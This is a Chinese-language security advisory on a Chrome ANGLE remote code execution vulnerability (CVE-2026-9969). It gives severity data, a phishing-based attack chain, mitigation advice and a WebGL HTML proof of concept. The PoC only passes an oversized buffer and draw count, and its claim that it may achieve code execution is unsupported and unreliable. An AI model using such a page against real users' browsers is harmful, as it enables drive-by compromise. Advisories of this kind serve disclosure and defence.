IPBUF安全漏洞报告
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CVE-2026-9969 CVSS 8.8 高危

CVE-2026-9969 Google Chrome ANGLE远程代码执行漏洞

披露日期: 2026-05-28

漏洞信息

漏洞编号
CVE-2026-9969
漏洞类型
远程代码执行
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Google Chrome

相关标签

远程代码执行RCEGoogle ChromeANGLEWebGL输入验证高危

漏洞概述

Google Chrome浏览器中的ANGLE组件存在安全漏洞,由于对不可信输入的验证不足,允许远程攻击者通过精心制作的HTML页面执行任意代码。该漏洞影响了Chrome 148.0.7778.216之前的版本。攻击者可诱导用户访问恶意网页,利用图形渲染过程中的缺陷绕过安全机制,从而在受害者系统上植入并运行恶意程序,造成敏感信息泄露或系统被完全控制,风险等级为高危。

技术细节

该漏洞的根本原因在于Google Chrome集成的ANGLE图形引擎组件中,未能对来自WebGL或图形渲染上下文的不可信输入数据进行严格的边界检查和格式验证。攻击者可以精心构造一个包含恶意图形指令的HTML页面。当受害者使用存在漏洞的Chrome版本(早于148.0.7778.216)访问该页面时,浏览器会调用ANGLE解析这些指令。由于验证逻辑的缺失,特定的参数组合可能导致缓冲区溢出或释放后使用等内存破坏错误。攻击者利用这种内存损坏,可以进一步操纵程序执行流,绕过浏览器的沙箱安全策略,最终在目标系统上以当前用户权限执行任意代码,对系统的机密性、完整性和可用性造成严重影响。由于攻击通过网络进行且无需认证,仅需用户交互,这使得该漏洞极具危险性。

攻击链分析

STEP 1
1. 构造恶意页面
攻击者分析ANGLE组件的输入验证逻辑,构造包含恶意WebGL指令或图形参数的特制HTML页面。
STEP 2
2. 投递攻击载荷
攻击者通过钓鱼邮件、恶意网站或水坑攻击等方式,诱导潜在受害者访问该恶意HTML页面。
STEP 3
3. 触发漏洞
当受害者使用存在漏洞的Google Chrome浏览器访问并渲染页面时,ANGLE组件解析恶意输入,导致内存破坏。
STEP 4
4. 执行代码
攻击者利用内存破坏错误绕过沙箱机制,在受害者系统上注入并执行任意恶意代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- PoC for CVE-2026-9969: Google Chrome ANGLE RCE This PoC demonstrates a crafted HTML page attempting to trigger the vulnerability. Note: Actual exploitation requires specific memory layout and heap grooming. --> <!DOCTYPE html> <html> <head> <title>CVE-2026-9969 PoC</title> </head> <body> <h1>Testing CVE-2026-9969</h1> <canvas id="glCanvas" width="640" height="480"></canvas> <script> // Get WebGL context from canvas const canvas = document.getElementById('glCanvas'); const gl = canvas.getContext('webgl'); if (gl) { console.log("WebGL context initialized. Attempting to trigger vulnerability..."); // Create a buffer and bind it const buffer = gl.createBuffer(); gl.bindBuffer(gl.ARRAY_BUFFER, buffer); // Crafted input: Attempting to supply a large or malformed data array // to trigger insufficient validation in ANGLE const malformedData = new Float32Array(0x100000); gl.bufferData(gl.ARRAY_BUFFER, malformedData, gl.STATIC_DRAW); // Create shader program const vsSource = ` attribute vec4 aVertexPosition; void main() { gl_Position = aVertexPosition; } `; const vertexShader = gl.createShader(gl.VERTEX_SHADER); gl.shaderSource(vertexShader, vsSource); gl.compileShader(vertexShader); const program = gl.createProgram(); gl.attachShader(program, vertexShader); gl.linkProgram(program); gl.useProgram(program); // Attempt to draw with parameters that might trigger the overflow // Using a very large count value based on the vulnerability description gl.vertexAttribPointer(0, 4, gl.FLOAT, false, 0, 0); gl.enableVertexAttribArray(0); // This call may trigger the RCE if the version is vulnerable gl.drawArrays(gl.TRIANGLES, 0, 0x7FFFFFFF); } else { console.log("WebGL not supported."); } </script> </body> </html>

影响范围

Google Chrome < 148.0.7778.216

防御指南

临时缓解措施
如果无法立即更新浏览器,建议用户避免点击不明链接或访问不可信的网站。同时,可以考虑在浏览器设置中暂时禁用JavaScript或WebGL功能,但这可能会影响正常的网页浏览体验。企业用户应部署网络代理过滤已知的恶意网站。

参考链接

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